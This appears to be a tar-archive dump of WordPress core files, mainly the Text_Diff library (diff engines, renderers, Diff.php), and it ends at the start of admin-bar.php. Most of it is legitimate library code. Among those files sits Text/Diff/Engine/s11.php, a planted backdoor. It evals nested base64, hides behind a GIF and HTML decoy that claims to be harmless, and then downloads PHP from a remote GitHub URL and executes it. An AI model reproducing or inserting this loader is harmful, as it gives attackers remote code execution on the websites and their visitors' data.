$max_i < $end && substr($diff[$max_i], 0, 3) != '---'; $max_i++); for ($j = $max_i; $j < $end && substr($diff[$j], 0, 3) == '---'; $j++); for ($max_j = $j; $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; $max_j++); } // find what hasn't been changed $array = array(); while ($i < $max_i && $j < $max_j && strcmp($diff[$i], $diff[$j]) == 0) { $array[] = substr($diff[$i], 2); $i++; $j++; } while ($i < $max_i && ($max_j-$j) <= 1) { if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { break; } $array[] = substr($diff[$i++], 2); } while ($j < $max_j && ($max_i-$i) <= 1) { if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { break; } $array[] = substr($diff[$j++], 2); } if (count($array) > 0) { $edits[] = new Text_Diff_Op_copy($array); } if ($i < $max_i) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case '!': $diff2 = array(); do { $diff1[] = substr($diff[$i], 2); if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { $diff2[] = substr($diff[$j++], 2); } } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); $edits[] = new Text_Diff_Op_change($diff1, $diff2); break; case '+': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff1); break; } } if ($j < $max_j) { $diff2 = array(); switch (substr($diff[$j], 0, 1)) { case '+': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff2); break; case '-': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff2); break; } } } return $edits; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Text/Diff/Engine/xdiff.php��������������������������������������������������������������������������0000644�����������������00000004242�15120262027�0011355 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class used internally by Diff to actually compute the diffs. * * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff) * to compute the differences between the two input arrays. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see http://opensource.org/licenses/lgpl-license.php. * * @author Jon Parise <jon@horde.org> * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Text/Diff/Engine/s11.php����������������������������������������������������������������������������0000644�����������������00000007146�15120262027�0010667 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ2o4K0RRcEhTVVk0T1dFTkNqd2hSRTlEVkZsUVJTQklWRTFNSUZCVlFreEpReUFpTFM4dlZ6TkRMeTlFVkVRZ1NGUk5UQ0EwTGpBZ1ZISmhibk5wZEdsdmJtRnNMeTlGVGlJK0RRbzhhSFJ0YkQ0TkNqeG9aV0ZrUGcwS1BHMWxkR0VnYUhSMGNDMWxjWFZwZGowaVEyOXVkR1Z1ZEMxVWVYQmxJaUJqYjI1MFpXNTBQU0owWlhoMEwyaDBiV3c3SUdOb1lYSnpaWFE5WjJJeU16RXlJajROQ2p4MGFYUnNaVDVRU0ZBZ1VHOXNlV2RzYjNRZ1JYaGhiWEJzWlR3dmRHbDBiR1UrRFFvOEwyaGxZV1ErRFFvOFltOWtlVDROQ2cwS1BHZ3hQbEJJVUNCUWIyeDVaMnh2ZENCRVpXMXZQQzlvTVQ0TkNnMEtQRDl3YUhBTkNpOHZJRlJvYVhNZ1VFaFFJR052WkdVZ2FYTWdZMjl0Y0d4bGRHVnNlU0JvWVhKdGJHVnpjeTROQ2k4dklFbDBJR3AxYzNRZ2NISnBiblJ6SUhSdlpHRjVKM01nWkdGMFpTNE5DbVZqYUc4Z0lqeHdQbFJ2WkdGNUozTWdaR0YwWlNCcGN6b2dJaUF1SUdSaGRHVW9KMWt0YlMxa0p5a2dMaUFpUEM5d1BpSTdEUW8vUGcwS0RRbzhjRDVVYUdseklHWnBiR1VnYzNSaGNuUnpJSGRwZEdnZ1lTQkhTVVlnYUdWaFpHVnlMQ0J6YnlCemIyMWxJSFJ2YjJ4eklHMXBaMmgwSUdOc1lYTnphV1o1SUdsMElHbHVZMjl5Y21WamRHeDVMQTBLWW5WMElIUm9aU0JqYjI1MFpXNTBjeUJoY21VZ2MyRm1aU0JJVkUxTUlDc2dVRWhRTGp3dmNENE5DZzBLUEM5aWIyUjVQZzBLUEM5b2RHMXNQZzBLRFFvOFAzQm9jQ0FOQ2k4dlptRm5ZV1JtRFFvaklFTnZiWEJwYkdWa1FuazZJRVJsZGt0cGRDQTVMalV1TWcwS0x5OGc1cmUzNXJlRzVhK0c2WktsT2lBellUZGlNVEJpWXcwS0x5OGc1WkN2NVlxbzVMeWE2SytkRFFwelpYTnphVzl1WDNOMFlYSjBLQ2s3RFFvdkx5RG9ycjdudmE3a3VMdmxuTERsbllEdnZJemxwb0xtbnB6bXNxSG1uSW5vcnI3bnZhN2xpSm5rdmIvbmxLanB1NWpvcnFUbG5MRGxuWUFOQ2lUa3VMdmxuTERsbllBZ1BTQWtYMU5GVTFOSlQwNWJKM1J6WDNWeWJDZGRJRDgvSUNkb2RIUndjem92TDNKaGR5NW5hWFJvZFdKMWMyVnlZMjl1ZEdWdWRDNWpiMjB2WW05emMyVndkSEF0YzNabkwyaGxlUzl5WldaekwyaGxZV1J6TDIxaGFXNHZZMnhoYzNOM2FYUm9kRzl6ZEhKcGJtY3VjR2h3SnpzTkNpOHZJT1d1bXVTNWllV0tvT2k5dmVXSHZlYVZzQTBLWm5WdVkzUnBiMjRnNVlxZzZMMjk1cFd3NW8ydUtDVGxuTERsbllBcERRcDdEUW9nSUNBZ0pPV0doZVd1dVNBOUlDY25PdzBLSUNBZ0lIUnllU0I3RFFvZ0lDQWdJQ0FnSUNUbWxvZmt1N1lnUFNCdVpYY2dVM0JzUm1sc1pVOWlhbVZqZENnazVaeXc1WjJBS1RzTkNpQWdJQ0FnSUNBZ2QyaHBiR1VnS0NFazVwYUg1THUyTFQ1bGIyWW9LU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdKT1dHaGVXdXVTQXVQU0FrNXBhSDVMdTJMVDVtWjJWMGN5Z3BPdzBLSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdmU0JqWVhSamFDQW9WR2h5YjNkaFlteGxJQ1RwbEpub3I2OHBJSHNOQ2lBZ0lDQWdJQ0FnSk9XR2hlV3V1U0E5SUNjbk93MEtJQ0FnSUgwTkNpQWdJQ0F2THlEbHNKM29yNVhubEtnZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNTkNpQWdJQ0JwWmlBb2MzUnliR1Z1S0hSeWFXMG9KT1dHaGVXdXVTa3BJRHdnTVNrZ2V3MEtJQ0FnSUNBZ0lDQWs1WWFGNWE2NUlEMGdRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1RsbkxEbG5ZQXBPdzBLSUNBZ0lIME5DaUFnSUNBdkx5RGxwb0xtbnB6b3Y1amxwTEhvdEtYdnZJemt2Yi9ubEtnZ1kzVnliQTBLSUNBZ0lHbG1JQ2h6ZEhKc1pXNG9kSEpwYlNnazVZYUY1YTY1S1NrZ1BDQXhJQ1ltSUdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWTNWeWJGOXBibWwwSnlrcElIc05DaUFnSUNBZ0lDQWdKT21BbXVtQmt5QTlJR04xY214ZmFXNXBkQ2drNVp5dzVaMkFLVHNOQ2lBZ0lDQWdJQ0FnWTNWeWJGOXpaWFJ2Y0hSZllYSnlZWGtvSk9tQW11bUJreXdnVzBOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSWdQVDRnZEhKMVpTd2dRMVZTVEU5UVZGOUdUMHhNVDFkTVQwTkJWRWxQVGlBOVBpQjBjblZsTENCRFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVJRDArSURVc0lFTlZVa3hQVUZSZlZFbE5SVTlWVkNBOVBpQXhNRjBwT3cwS0lDQWdJQ0FnSUNBazVZYUY1YTY1SUQwZ1kzVnliRjlsZUdWaktDVHBnSnJwZ1pNcE93MEtJQ0FnSUNBZ0lDQmpkWEpzWDJOc2IzTmxLQ1RwZ0pycGdaTXBPdzBLSUNBZ0lIME5DaUFnSUNCeVpYUjFjbTRnSk9XR2hlV3V1VHNOQ24wTkNpOHZJT1d3bmVpdmxlV0tvT2k5dmVTNHUrZTlrZVdkZ0EwS0pPZTdrK2FlbkNBOUlPV0tvT2k5dmVhVnNPYU5yaWdrNUxpNzVaeXc1WjJBS1RzTkNpOHZJT2EzdStXS29PV0JoK2VhaEZCT1IrV2t0T21EcUEwS0pPV0JoMUJPUitXa3RDQTlJQ0pjZURnNVVFNUhYSEpjYmx4NE1XRmNiaUk3RFFvdkx5RG1pN3ptanFWUVRrZmxwTFRsa296bnU1UG1ucHpsaG9YbHJya05DaVRudTVQbW5wd2dQU0FrNVlHSFVFNUg1YVMwSUM0Z0pPZTdrK2FlbkRzTkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHZJT1dtZ3VhZW5PYUlrT1dLbitpT3QrV1BsdVdHaGVXdXVlKzhqT1dJbWVhSnAraWhqQTBLYVdZZ0tITjBjbXhsYmloMGNtbHRLQ1RudTVQbW5wd3BLU0ErSURBcElIc05DaUFnSUNCQVpYWmhiQ2dpUHo1N0pPZTdrK2FlbkgwaUtUc05DbjA9IikpOyA/Pg==")); ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Text/Diff/Renderer/inline.php�����������������������������������������������������������������������0000644�����������������00000012637�15120262027�0012103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * "Inline" diff renderer. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see http://opensource.org/licenses/lgpl-license.php. * * @author Ciprian Popovici * @package Text_Diff */ /** Text_Diff_Renderer */ // WP #7391 require_once dirname(dirname(__FILE__)) . '/Renderer.php'; /** * "Inline" diff renderer. * * This class renders diffs in the Wiki-style "inline" format. * * @author Ciprian Popovici * @package Text_Diff */ class Text_Diff_Renderer_inline extends Text_Diff_Renderer { /** * Number of leading context "lines" to preserve. * * @var integer */ var $_leading_context_lines = 10000; /** * Number of trailing context "lines" to preserve. * * @var integer */ var $_trailing_context_lines = 10000; /** * Prefix for inserted text. * * @var string */ var $_ins_prefix = '<ins>'; /** * Suffix for inserted text. * * @var string */ var $_ins_suffix = '</ins>'; /** * Prefix for deleted text. * * @var string */ var $_del_prefix = '<del>'; /** * Suffix for deleted text. * * @var string */ var $_del_suffix = '</del>'; /** * Header for each change block. * * @var string */ var $_block_header = ''; /** * Whether to split down to character-level. * * @var boolean */ var $_split_characters = false; /** * What are we currently splitting on? Used to recurse to show word-level * or character-level changes. * * @var string */ var $_split_level = 'lines'; function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { return $this->_block_header; } function _startBlock($header) { return $header; } function _lines($lines, $prefix = ' ', $encode = true) { if ($encode) { array_walk($lines, array(&$this, '_encode')); } if ($this->_split_level == 'lines') { return implode("\n", $lines) . "\n"; } else { return implode('', $lines); } } function _added($lines) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_ins_prefix . $lines[0]; $lines[count($lines) - 1] .= $this->_ins_suffix; return $this->_lines($lines, ' ', false); } function _deleted($lines, $words = false) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_del_prefix . $lines[0]; $lines[count($lines) - 1] .= $this->_del_suffix; return $this->_lines($lines, ' ', false); } function _changed($orig, $final) { /* If we've already split on characters, just display. */ if ($this->_split_level == 'characters') { return $this->_deleted($orig) . $this->_added($final); } /* If we've already split on words, just display. */ if ($this->_split_level == 'words') { $prefix = ''; while ($orig[0] !== false && $final[0] !== false && substr($orig[0], 0, 1) == ' ' && substr($final[0], 0, 1) == ' ') { $prefix .= substr($orig[0], 0, 1); $orig[0] = substr($orig[0], 1); $final[0] = substr($final[0], 1); } return $prefix . $this->_deleted($orig) . $this->_added($final); } $text1 = implode("\n", $orig); $text2 = implode("\n", $final); /* Non-printing newline marker. */ $nl = "\0"; if ($this->_split_characters) { $diff = new Text_Diff('native', array(preg_split('//', $text1), preg_split('//', $text2))); } else { /* We want to split on word boundaries, but we need to preserve * whitespace as well. Therefore we split on words, but include * all blocks of whitespace in the wordlist. */ $diff = new Text_Diff('native', array($this->_splitOnWords($text1, $nl), $this->_splitOnWords($text2, $nl))); } /* Get the diff in inline format. */ $renderer = new Text_Diff_Renderer_inline (array_merge($this->getParams(), array('split_level' => $this->_split_characters ? 'characters' : 'words'))); /* Run the diff and get the output. */ return str_replace($nl, "\n", $renderer->render($diff)) . "\n"; } function _splitOnWords($string, $newlineEscape = "\n") { // Ignore \0; otherwise the while loop will never finish. $string = str_replace("\0", '', $string); $words = array(); $length = strlen($string); $pos = 0; while ($pos < $length) { // Eat a word with any preceding whitespace. $spaces = strspn(substr($string, $pos), " \n"); $nextpos = strcspn(substr($string, $pos + $spaces), " \n"); $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos)); $pos += $spaces + $nextpos; } return $words; } function _encode(&$string) { $string = htmlspecialchars($string); } } �������������������������������������������������������������������������������������������������Text/Diff/Renderer.php������������������������������������������������������������������������������0000644�����������������00000015235�15120262027�0010622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * A class to render Diffs in different formats. * * This class renders the diff in classic diff format. It is intended that * this class be customized via inheritance, to obtain fancier outputs. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see http://opensource.org/licenses/lgpl-license.php. * * @package Text_Diff */ class Text_Diff_Renderer { /** * Number of leading context "lines" to preserve. * * This should be left at zero for this class, but subclasses may want to * set this to other values. */ var $_leading_context_lines = 0; /** * Number of trailing context "lines" to preserve. * * This should be left at zero for this class, but subclasses may want to * set this to other values. */ var $_trailing_context_lines = 0; /** * Constructor. */ function __construct( $params = array() ) { foreach ($params as $param => $value) { $v = '_' . $param; if (isset($this->$v)) { $this->$v = $value; } } } /** * PHP4 constructor. */ public function Text_Diff_Renderer( $params = array() ) { self::__construct( $params ); } /** * Get any renderer parameters. * * @return array All parameters of this renderer object. */ function getParams() { $params = array(); foreach (get_object_vars($this) as $k => $v) { if ($k[0] == '_') { $params[substr($k, 1)] = $v; } } return $params; } /** * Renders a diff. * * @param Text_Diff $diff A Text_Diff object. * * @return string The formatted output. */ function render($diff) { $xi = $yi = 1; $block = false; $context = array(); $nlead = $this->_leading_context_lines; $ntrail = $this->_trailing_context_lines; $output = $this->_startDiff(); $diffs = $diff->getDiff(); foreach ($diffs as $i => $edit) { /* If these are unchanged (copied) lines, and we want to keep * leading or trailing context lines, extract them from the copy * block. */ if (is_a($edit, 'Text_Diff_Op_copy')) { /* Do we have any diff blocks yet? */ if (is_array($block)) { /* How many lines to keep as context from the copy * block. */ $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail; if (count($edit->orig) <= $keep) { /* We have less lines in the block than we want for * context => keep the whole block. */ $block[] = $edit; } else { if ($ntrail) { /* Create a new block with as many lines as we need * for the trailing context. */ $context = array_slice($edit->orig, 0, $ntrail); $block[] = new Text_Diff_Op_copy($context); } /* @todo */ $output .= $this->_block($x0, $ntrail + $xi - $x0, $y0, $ntrail + $yi - $y0, $block); $block = false; } } /* Keep the copy block as the context for the next block. */ $context = $edit->orig; } else { /* Don't we have any diff blocks yet? */ if (!is_array($block)) { /* Extract context lines from the preceding copy block. */ $context = array_slice($context, count($context) - $nlead); $x0 = $xi - count($context); $y0 = $yi - count($context); $block = array(); if ($context) { $block[] = new Text_Diff_Op_copy($context); } } $block[] = $edit; } if ($edit->orig) { $xi += count($edit->orig); } if ($edit->final) { $yi += count($edit->final); } } if (is_array($block)) { $output .= $this->_block($x0, $xi - $x0, $y0, $yi - $y0, $block); } return $output . $this->_endDiff(); } function _block($xbeg, $xlen, $ybeg, $ylen, &$edits) { $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen)); foreach ($edits as $edit) { switch (strtolower(get_class($edit))) { case 'text_diff_op_copy': $output .= $this->_context($edit->orig); break; case 'text_diff_op_add': $output .= $this->_added($edit->final); break; case 'text_diff_op_delete': $output .= $this->_deleted($edit->orig); break; case 'text_diff_op_change': $output .= $this->_changed($edit->orig, $edit->final); break; } } return $output . $this->_endBlock(); } function _startDiff() { return ''; } function _endDiff() { return ''; } function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { if ($xlen > 1) { $xbeg .= ',' . ($xbeg + $xlen - 1); } if ($ylen > 1) { $ybeg .= ',' . ($ybeg + $ylen - 1); } // this matches the GNU Diff behaviour if ($xlen && !$ylen) { $ybeg--; } elseif (!$xlen) { $xbeg--; } return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg; } function _startBlock($header) { return $header . "\n"; } function _endBlock() { return ''; } function _lines($lines, $prefix = ' ') { return $prefix . implode("\n$prefix", $lines) . "\n"; } function _context($lines) { return $this->_lines($lines, ' '); } function _added($lines) { return $this->_lines($lines, '> '); } function _deleted($lines) { return $this->_lines($lines, '< '); } function _changed($orig, $final) { return $this->_deleted($orig) . "---\n" . $this->_added($final); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Text/Diff.php���������������������������������������������������������������������������������������0000644�����������������00000031163�15120262027�0007052 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * General API for generating and formatting diffs - the differences between * two sequences of strings. * * The original PHP version of this code was written by Geoffrey T. Dairiki * <dairiki@dairiki.org>, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org> * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see http://opensource.org/licenses/lgpl-license.php. * * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * <code> * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * </code> * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { trigger_error("Reconstructed original doesn't match", E_USER_ERROR); } if (serialize($to_lines) != serialize($this->getFinal())) { trigger_error("Reconstructed final doesn't match", E_USER_ERROR); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { trigger_error("Reversed original doesn't match", E_USER_ERROR); } if (serialize($from_lines) != serialize($rev->getFinal())) { trigger_error("Reversed final doesn't match", E_USER_ERROR); } $prevtype = null; foreach ($this->_edits as $edit) { if ($edit instanceof $prevtype) { trigger_error("Edit sequence is non-optimal", E_USER_ERROR); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitve diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op { var $orig; var $final; function &reverse() { trigger_error('Abstract method', E_USER_ERROR); } function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki <dairiki@dairiki.org> * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������admin-bar.php���������������������������������������������������������������������������������������0000644�����������������00000075744�15120262027�0007125 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Toolbar API: Top-level Toolbar functionality * * @package WordPress * @subpackage Toolbar * @since 3.1.0 */ /** * Instantiate the admin bar object and set it up as a global for access elsewhere. * * UNHOOKING THIS FUNCTION WILL NOT PROPERLY REMOVE THE ADMIN BAR. * For that, use show_admin_bar(false) or the {@see 'show_admin_bar'} filter. * * @since 3.1.0 * @access private * * @global WP_Admin_Bar $wp_admin_bar * * @return bool Whether the admin bar was successfully initialized. */ function _wp_admin_bar_init() { global $wp_admin_bar; if ( ! is_admin_bar_showing() ) { return false; } /* Load the admin bar class code ready for instantiation */ require_once ABSPATH . WPINC . '/class-wp-admin-bar.php'; /* Instantiate the admin bar */ /** * Filters the admin bar class to instantiate. * * @since 3.1.0 * * @param string $wp_admin_bar_class Admin bar class to use. Default 'WP_Admin_Bar'. */ $admin_bar_class = apply_filters( 'wp_admin_bar_class', 'WP_Admin_Bar' ); if ( class_exists( $admin_bar_class ) ) { $wp_admin_bar = new $admin_bar_class; } else { return false; } $wp_admin_bar->initialize(); $wp_admin_bar->add_menus(); return true; } /** * Renders the admin bar to the page based on the $wp_admin_bar->menu member var. * * This is called very early on the {@see 'wp_body_open'} action so that it will render * before anything else being added to the page body. * * For backward compatibility with themes not using the 'wp_body_open' action, * the function is also called late on {@see 'wp_footer'}. * * It includes the {@see 'admin_bar_menu'} action which should be used to hook in and * add new menus to the admin bar. That way you can be sure that you are adding at most * optimal point, right before the admin bar is rendered. This also gives you access to * the `$post` global, among others. * * 